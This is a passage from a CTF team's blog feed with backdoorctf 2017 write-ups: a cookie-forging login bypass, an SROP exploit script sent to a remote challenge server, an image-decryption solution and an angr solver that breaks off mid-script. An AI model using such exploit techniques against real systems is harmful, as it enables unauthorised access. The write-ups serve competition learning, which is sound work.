]]></content></item><item><title>backdoorctf 2017 - extend-me Writeup</title><link>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-extend-me-writeup/</link><pubDate>Sun, 24 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-extend-me-writeup/</guid><description>&lt;p>For this challenge we get access to a login prompt. This is the code on the backend, stripped of the useless parts:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>key = file(&lt;span style="color:#fc6a5d">&amp;#39;SECRET&amp;#39;&lt;/span>).read().strip()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>@app.route(&lt;span style="color:#fc6a5d">&amp;#39;/login&amp;#39;&lt;/span>,methods = [&lt;span style="color:#fc6a5d">&amp;#39;GET&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;POST&amp;#39;&lt;/span>])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">login&lt;/span>():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> request.method == &lt;span style="color:#fc6a5d">&amp;#39;POST&amp;#39;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> not request.form.get(&lt;span style="color:#fc6a5d">&amp;#39;username&amp;#39;&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> render_template(&lt;span style="color:#fc6a5d">&amp;#39;login.html&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> username = &lt;span style="color:#d0a8ff">str&lt;/span>(request.form.get(&lt;span style="color:#fc6a5d">&amp;#39;username&amp;#39;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> request.cookies.get(&lt;span style="color:#fc6a5d">&amp;#39;data&amp;#39;&lt;/span>) and request.cookies.get(&lt;span style="color:#fc6a5d">&amp;#39;user&amp;#39;&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> data = &lt;span style="color:#d0a8ff">str&lt;/span>(request.cookies.get(&lt;span style="color:#fc6a5d">&amp;#39;data&amp;#39;&lt;/span>)).decode(&lt;span style="color:#fc6a5d">&amp;#39;base64&amp;#39;&lt;/span>).strip()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> user = &lt;span style="color:#d0a8ff">str&lt;/span>(request.cookies.get(&lt;span style="color:#fc6a5d">&amp;#39;user&amp;#39;&lt;/span>)).decode(&lt;span style="color:#fc6a5d">&amp;#39;base64&amp;#39;&lt;/span>).strip()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> temp = &lt;span style="color:#fc6a5d">&amp;#39;|&amp;#39;&lt;/span>.join([key,username,user])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> data != SLHA1(temp).digest():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> temp = SLHA1(temp).digest().encode(&lt;span style="color:#fc6a5d">&amp;#39;base64&amp;#39;&lt;/span>).strip().replace(&lt;span style="color:#fc6a5d">&amp;#39;&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#39;&lt;/span>,&lt;span style="color:#fc6a5d">&amp;#39;&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> resp = make_response(render_template(&lt;span style="color:#fc6a5d">&amp;#39;welcome_new.html&amp;#39;&lt;/span>,name = username))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> resp.set_cookie(&lt;span style="color:#fc6a5d">&amp;#39;user&amp;#39;&lt;/span>,&lt;span style="color:#fc6a5d">&amp;#39;user&amp;#39;&lt;/span>.encode(&lt;span style="color:#fc6a5d">&amp;#39;base64&amp;#39;&lt;/span>).strip())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> resp.set_cookie(&lt;span style="color:#fc6a5d">&amp;#39;data&amp;#39;&lt;/span>,temp)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> resp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> &lt;span style="color:#fc6a5d">&amp;#39;admin&amp;#39;&lt;/span> in user: &lt;span style="color:#6c7986"># too lazy to check properly :p&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34;Here you go : CTF&lt;/span>&lt;span style="color:#fc6a5d">{XXXXXXXXXXXXXXXXXXXXXXXXX}&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> render_template(&lt;span style="color:#fc6a5d">&amp;#39;welcome_back.html&amp;#39;&lt;/span>,name = username)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> resp = make_response(render_template(&lt;span style="color:#fc6a5d">&amp;#39;welcome_new.html&amp;#39;&lt;/span>,name = username))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> temp = &lt;span style="color:#fc6a5d">&amp;#39;|&amp;#39;&lt;/span>.join([key,username,&lt;span style="color:#fc6a5d">&amp;#39;user&amp;#39;&lt;/span>])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> resp.set_cookie(&lt;span style="color:#fc6a5d">&amp;#39;data&amp;#39;&lt;/span>,SLHA1(temp).digest().encode(&lt;span style="color:#fc6a5d">&amp;#39;base64&amp;#39;&lt;/span>).strip().replace(&lt;span style="color:#fc6a5d">&amp;#39;&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#39;&lt;/span>,&lt;span style="color:#fc6a5d">&amp;#39;&amp;#39;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> resp.set_cookie(&lt;span style="color:#fc6a5d">&amp;#39;user&amp;#39;&lt;/span>,&lt;span style="color:#fc6a5d">&amp;#39;user&amp;#39;&lt;/span>.encode(&lt;span style="color:#fc6a5d">&amp;#39;base64&amp;#39;&lt;/span>).strip())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> resp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> render_template(&lt;span style="color:#fc6a5d">&amp;#39;login.html&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It uses the username in the login form and the contents of two cookies, user and data, to authenticate the user, alongside with the contents of file SECRET, which we don&amp;rsquo;t have access to.&lt;/p></description><content type="html"><![CDATA[<p>For this challenge we get access to a login prompt. This is the code on the backend, stripped of the useless parts:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>key = file(<span style="color:#fc6a5d">&#39;SECRET&#39;</span>).read().strip()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>@app.route(<span style="color:#fc6a5d">&#39;/login&#39;</span>,methods = [<span style="color:#fc6a5d">&#39;GET&#39;</span>, <span style="color:#fc6a5d">&#39;POST&#39;</span>])
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">login</span>():
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> request.method == <span style="color:#fc6a5d">&#39;POST&#39;</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span>  not request.form.get(<span style="color:#fc6a5d">&#39;username&#39;</span>):
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">return</span> render_template(<span style="color:#fc6a5d">&#39;login.html&#39;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>			username = <span style="color:#d0a8ff">str</span>(request.form.get(<span style="color:#fc6a5d">&#39;username&#39;</span>))
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> request.cookies.get(<span style="color:#fc6a5d">&#39;data&#39;</span>) and request.cookies.get(<span style="color:#fc6a5d">&#39;user&#39;</span>):
</span></span><span style="display:flex;"><span>				data = <span style="color:#d0a8ff">str</span>(request.cookies.get(<span style="color:#fc6a5d">&#39;data&#39;</span>)).decode(<span style="color:#fc6a5d">&#39;base64&#39;</span>).strip()
</span></span><span style="display:flex;"><span>				user = <span style="color:#d0a8ff">str</span>(request.cookies.get(<span style="color:#fc6a5d">&#39;user&#39;</span>)).decode(<span style="color:#fc6a5d">&#39;base64&#39;</span>).strip()
</span></span><span style="display:flex;"><span>				temp = <span style="color:#fc6a5d">&#39;|&#39;</span>.join([key,username,user])
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">if</span> data != SLHA1(temp).digest():
</span></span><span style="display:flex;"><span>					temp = SLHA1(temp).digest().encode(<span style="color:#fc6a5d">&#39;base64&#39;</span>).strip().replace(<span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#39;</span>,<span style="color:#fc6a5d">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span>					resp = make_response(render_template(<span style="color:#fc6a5d">&#39;welcome_new.html&#39;</span>,name = username))
</span></span><span style="display:flex;"><span>					resp.set_cookie(<span style="color:#fc6a5d">&#39;user&#39;</span>,<span style="color:#fc6a5d">&#39;user&#39;</span>.encode(<span style="color:#fc6a5d">&#39;base64&#39;</span>).strip())
</span></span><span style="display:flex;"><span>					resp.set_cookie(<span style="color:#fc6a5d">&#39;data&#39;</span>,temp)
</span></span><span style="display:flex;"><span>					<span style="color:#fc5fa3">return</span> resp
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>					<span style="color:#fc5fa3">if</span> <span style="color:#fc6a5d">&#39;admin&#39;</span> in user: <span style="color:#6c7986"># too lazy to check properly :p</span>
</span></span><span style="display:flex;"><span>						<span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">&#34;Here you go : CTF</span><span style="color:#fc6a5d">{XXXXXXXXXXXXXXXXXXXXXXXXX}</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>					<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>						<span style="color:#fc5fa3">return</span> render_template(<span style="color:#fc6a5d">&#39;welcome_back.html&#39;</span>,name = username)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>				resp = make_response(render_template(<span style="color:#fc6a5d">&#39;welcome_new.html&#39;</span>,name = username))
</span></span><span style="display:flex;"><span>				temp = <span style="color:#fc6a5d">&#39;|&#39;</span>.join([key,username,<span style="color:#fc6a5d">&#39;user&#39;</span>])
</span></span><span style="display:flex;"><span>				resp.set_cookie(<span style="color:#fc6a5d">&#39;data&#39;</span>,SLHA1(temp).digest().encode(<span style="color:#fc6a5d">&#39;base64&#39;</span>).strip().replace(<span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#39;</span>,<span style="color:#fc6a5d">&#39;&#39;</span>))
</span></span><span style="display:flex;"><span>				resp.set_cookie(<span style="color:#fc6a5d">&#39;user&#39;</span>,<span style="color:#fc6a5d">&#39;user&#39;</span>.encode(<span style="color:#fc6a5d">&#39;base64&#39;</span>).strip())
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">return</span> resp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> render_template(<span style="color:#fc6a5d">&#39;login.html&#39;</span>)
</span></span></code></pre></div><p>It uses the username in the login form and the contents of two cookies, user and data, to authenticate the user, alongside with the contents of file SECRET, which we don&rsquo;t have access to.</p>
<p>The vulnerable check is after the SLHA1 algorithm - a custom hashing function - is called, since we can force the site to generate the right value for the data cookie for us.</p>
<p>Our goal here is to end up with SLHA1(&quot;$SECRET$|admin|admin&quot;) in data. To do so we can login a first time to get the cookies, set the contents of the user cookie to YWRtaW4=,
the base64 encoding for admin, and login a second time. This time the site will find that the contents of our data cookie are wrong and recalculate them based on our input, so
by setting once again the user cookie to YWRtaW4= and logging in a third time we finally get access to the flag.</p>
<p>Remember to login with the same username every time, otherwise the checks on data will fail.</p>
<p>Voilà</p>
<p>Reading other writeups, it seems that the intended solving method was hash extension (as even the challenge&rsquo;s name seems to suggest), yet I believe this cookie based solution to be much simpler and faster to execute. It also uses as its only tool any web browser that can edit cookies, or in my case Firefox with an extension to do the same.</p>
]]></content></item><item><title>backdoorctf 2017 - Fun-Signals Writeup</title><link>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-fun-signals-writeup/</link><pubDate>Sun, 24 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-fun-signals-writeup/</guid><description>&lt;p>This binary has a very small portion of code.&lt;/p>
&lt;p>Analize it in IDA:&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/backdoorctf17/funsignals-1.png" alt="IDA screenshot showing disassembled binary code with syscalls to read() and rt_sigreturn()" width="603" height="260">
&lt;p>The first syscall is a read (rax = 0) of 1024 bytes in the stack.&lt;/p>
&lt;p>The second is rt_sigreturn.&lt;/p>
&lt;p>For a l337 h4xx0r sigreturn means SROP. For me it means &lt;a href="https://en.wikipedia.org/wiki/Sigreturn-oriented_programming">Wikipedia&lt;/a>.&lt;/p>
&lt;p>I learnt that we can control the program flow like with rop using sigreturn and the associated structure on the stack.&lt;/p></description><content type="html"><![CDATA[<p>This binary has a very small portion of code.</p>
<p>Analize it in IDA:</p>
<img class="img-responsive" src="/backdoorctf17/funsignals-1.png" alt="IDA screenshot showing disassembled binary code with syscalls to read() and rt_sigreturn()" width="603" height="260">
<p>The first syscall is a read (rax = 0) of 1024 bytes in the stack.</p>
<p>The second is rt_sigreturn.</p>
<p>For a l337 h4xx0r sigreturn means SROP. For me it means <a href="https://en.wikipedia.org/wiki/Sigreturn-oriented_programming">Wikipedia</a>.</p>
<p>I learnt that we can control the program flow like with rop using sigreturn and the associated structure on the stack.</p>
<p>This structure contains the context of the signal handler.</p>
<p>So writing this structure on the stack (with read) we have the complete control of all registers.</p>
<p>A good choice is to prepare the registers for a write to the stdout of the flag.</p>
<p>The syscall gadget under <code>int 3</code> is a perfect target for rip.</p>
<p>Wait, how is composed a signal frame? I don&rsquo;t know, but pwnlib does.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context.arch = <span style="color:#fc6a5d">&#34;amd64&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>frame = SigreturnFrame()
</span></span><span style="display:flex;"><span>frame.rax = constants.SYS_write
</span></span><span style="display:flex;"><span>frame.rdi = constants.STDOUT_FILENO
</span></span><span style="display:flex;"><span>frame.rsi = <span style="color:#d0bf69">0x10000023</span> <span style="color:#6c7986">#flag string address</span>
</span></span><span style="display:flex;"><span>frame.rdx = <span style="color:#d0bf69">50</span> <span style="color:#6c7986">#read size</span>
</span></span><span style="display:flex;"><span>frame.rsp = <span style="color:#d0bf69">0xABADCAFE</span>
</span></span><span style="display:flex;"><span>frame.rip = <span style="color:#d0bf69">0x10000015</span> <span style="color:#6c7986">#syscall gadget</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#p = process(&#34;./player_bin&#34;)</span>
</span></span><span style="display:flex;"><span>p = remote(<span style="color:#fc6a5d">&#34;163.172.176.29&#34;</span>, <span style="color:#d0bf69">9034</span>)
</span></span><span style="display:flex;"><span>p.send(<span style="color:#d0a8ff">str</span>(frame))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> p.recvall()
</span></span></code></pre></div>]]></content></item><item><title>backdoorctf 2017 - ImageRev Writeup</title><link>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-imagerev-writeup/</link><pubDate>Sun, 24 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-imagerev-writeup/</guid><description>&lt;p>Looking at the code in &lt;a href="https://theromanxpl0.it/backdoorctf17/encrypt.py">encrypt.py&lt;/a> we can see that the encryption function works with a pixel at once.&lt;/p>
&lt;p>Analyzing the return value it is a tuple of 8 hex strings.&lt;/p>
&lt;p>So a pixel is mapped to a 64 bytes hex string.&lt;/p>
&lt;p>Now we can print all different pixel types in the &lt;a href="https://theromanxpl0.it/backdoorctf17/encrypted.txt">encrypted.txt&lt;/a> file using a bit of python.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>f = &lt;span style="color:#d0a8ff">open&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;encrypted.txt&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>m = {}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">while&lt;/span> &lt;span style="color:#fc5fa3">True&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s = f.read(&lt;span style="color:#d0bf69">64&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> s == &lt;span style="color:#fc6a5d">&amp;#34;&amp;#34;&lt;/span>: &lt;span style="color:#fc5fa3">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> m[s] = m.get(s, &lt;span style="color:#d0bf69">0&lt;/span>) +&lt;span style="color:#d0bf69">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>f.close()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d0a8ff">print&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34; ENCRYPTED PIXEL OCCURRENCES&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d0a8ff">print&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">for&lt;/span> e in m:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span> e + &lt;span style="color:#fc6a5d">&amp;#34; &amp;#34;&lt;/span> + &lt;span style="color:#d0a8ff">str&lt;/span>(m[e])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d0a8ff">print&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The pixel &lt;code>709e80c88487a2411e1ee4dfb9f22a861492d20c4765150c0c794abd70f8147c&lt;/code> is present 5826 times, so it must be the background.&lt;/p></description><content type="html"><![CDATA[<p>Looking at the code in <a href="/backdoorctf17/encrypt.py">encrypt.py</a> we can see that the encryption function works with a pixel at once.</p>
<p>Analyzing the return value it is a tuple of 8 hex strings.</p>
<p>So a pixel is mapped to a 64 bytes hex string.</p>
<p>Now we can print all different pixel types in the <a href="/backdoorctf17/encrypted.txt">encrypted.txt</a> file using a bit of python.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>f = <span style="color:#d0a8ff">open</span>(<span style="color:#fc6a5d">&#34;encrypted.txt&#34;</span>)
</span></span><span style="display:flex;"><span>m = {}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>    s = f.read(<span style="color:#d0bf69">64</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> s == <span style="color:#fc6a5d">&#34;&#34;</span>: <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>    m[s] = m.get(s, <span style="color:#d0bf69">0</span>) +<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>f.close()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;                        ENCRYPTED PIXEL                               OCCURRENCES&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> e in m:
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> e + <span style="color:#fc6a5d">&#34;        &#34;</span> + <span style="color:#d0a8ff">str</span>(m[e])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>
</span></span></code></pre></div><p>The pixel <code>709e80c88487a2411e1ee4dfb9f22a861492d20c4765150c0c794abd70f8147c</code> is present 5826 times, so it must be the background.</p>
<p>I choose to associate the background pixels to black and all other pixels to white.</p>
<p>Using pillow we can reconstruct the image to see the flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> PIL <span style="color:#fc5fa3">import</span> Image
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>f = <span style="color:#d0a8ff">open</span>(<span style="color:#fc6a5d">&#34;encrypted.txt&#34;</span>)
</span></span><span style="display:flex;"><span>b = <span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>    s = f.read(<span style="color:#d0bf69">64</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> s == <span style="color:#fc6a5d">&#34;&#34;</span>: <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> s == <span style="color:#fc6a5d">&#34;709e80c88487a2411e1ee4dfb9f22a861492d20c4765150c0c794abd70f8147c&#34;</span>:
</span></span><span style="display:flex;"><span>        b += <span style="color:#d0a8ff">chr</span>(<span style="color:#d0bf69">0</span>) + <span style="color:#d0a8ff">chr</span>(<span style="color:#d0bf69">0</span>) + <span style="color:#d0a8ff">chr</span>(<span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>    b += <span style="color:#d0a8ff">chr</span>(<span style="color:#d0bf69">255</span>) + <span style="color:#d0a8ff">chr</span>(<span style="color:#d0bf69">255</span>) + <span style="color:#d0a8ff">chr</span>(<span style="color:#d0bf69">255</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>f.close()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#d0a8ff">len</span>(b)/<span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>i = Image.frombytes(<span style="color:#fc6a5d">&#34;RGB&#34;</span>, (<span style="color:#d0bf69">351</span>, <span style="color:#d0bf69">21</span>), b)
</span></span><span style="display:flex;"><span>i.save(<span style="color:#fc6a5d">&#34;out.png&#34;</span>)
</span></span></code></pre></div><p>Note: the pixels are 7371, before setting the image size (351x21 is good) we tried some times with different sizes.</p>
]]></content></item><item><title>backdoorctf 2017 - NoCalm Writeup</title><link>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-nocalm-writeup/</link><pubDate>Sun, 24 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/backdoorctf-2017-nocalm-writeup/</guid><description>&lt;img class="img-responsive" src="https://theromanxpl0.it/backdoorctf17/nocalm-1.png" alt="Screenshot of decompiled main() function checking flag length and conditions" width="603" height="235">
&lt;p>Decompiling the main function we see that each byte of the flag must be passed as argument to the program.&lt;/p>
&lt;p>The number of arguments must be 31, as we can see from the first if statement.&lt;/p>
&lt;p>The program check the correctness of the flag with a series of nested ifs and arithmetic stuffs.&lt;/p>
&lt;p>If the flag is correct, it calls the success function, else it calls fail.&lt;/p></description><content type="html"><![CDATA[<img class="img-responsive" src="/backdoorctf17/nocalm-1.png" alt="Screenshot of decompiled main() function checking flag length and conditions" width="603" height="235">
<p>Decompiling the main function we see that each byte of the flag must be passed as argument to the program.</p>
<p>The number of arguments must be 31, as we can see from the first if statement.</p>
<p>The program check the correctness of the flag with a series of nested ifs and arithmetic stuffs.</p>
<p>If the flag is correct, it calls the success function, else it calls fail.</p>
<img class="img-responsive" src="/backdoorctf17/nocalm-2.png" alt="Screenshot of decompiled code checking for success() or fail() functions" width="306" height="177">
<p>Using <a href="http://angr.io/">angr</a> we can obtain the correct flag effortlessly.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> angr
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> claripy
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> simuvex
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> resource
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> time
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proj = angr.Project(<span style="color:#fc6a5d">&#39;challenge&#39;</span>, load_options={<span style="color:#fc6a5d">&#39;auto_load_libs&#39;</span> : <span style="color:#fc5fa3">False</span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>fail = <span style="color:#d0bf69">0x004007CC</span>
</span></span><span style="display:flex;"><span>success = <span style="color:#d0bf69">0x004007B6</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>start = <span style="color:#d0bf69">0x004007E2</span>
</span></span><span style="display:flex;"><span>avoid = [fail]
</span></span><span style="display:flex;"><span>end = [success]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>argv = []
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in xrange(<span style="color:#d0bf69">31</span>):
</span></span><span style="display:flex;"><span>    arg = claripy.BVS(<span style="color:#fc6a5d">&#34;input_string&#34;</span> + <span style="color:#d0a8ff">str</span>(i), <span style="color:#d0bf69">8</span>)
</span></span><span style="display:flex;"><span>    argv.append(arg)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>state = proj.factory.entry_state(args=argv, remove_options={simuvex.o.LAZY_SOLVES,})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>pg = proj.factory.path_group(state, veritesting=<span style="color:#fc5fa3">False</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>start_time = time.time()
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#d0a8ff">len</span>(pg.active) &gt; <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> pg
</span></span><span style="display:flex;"><span>
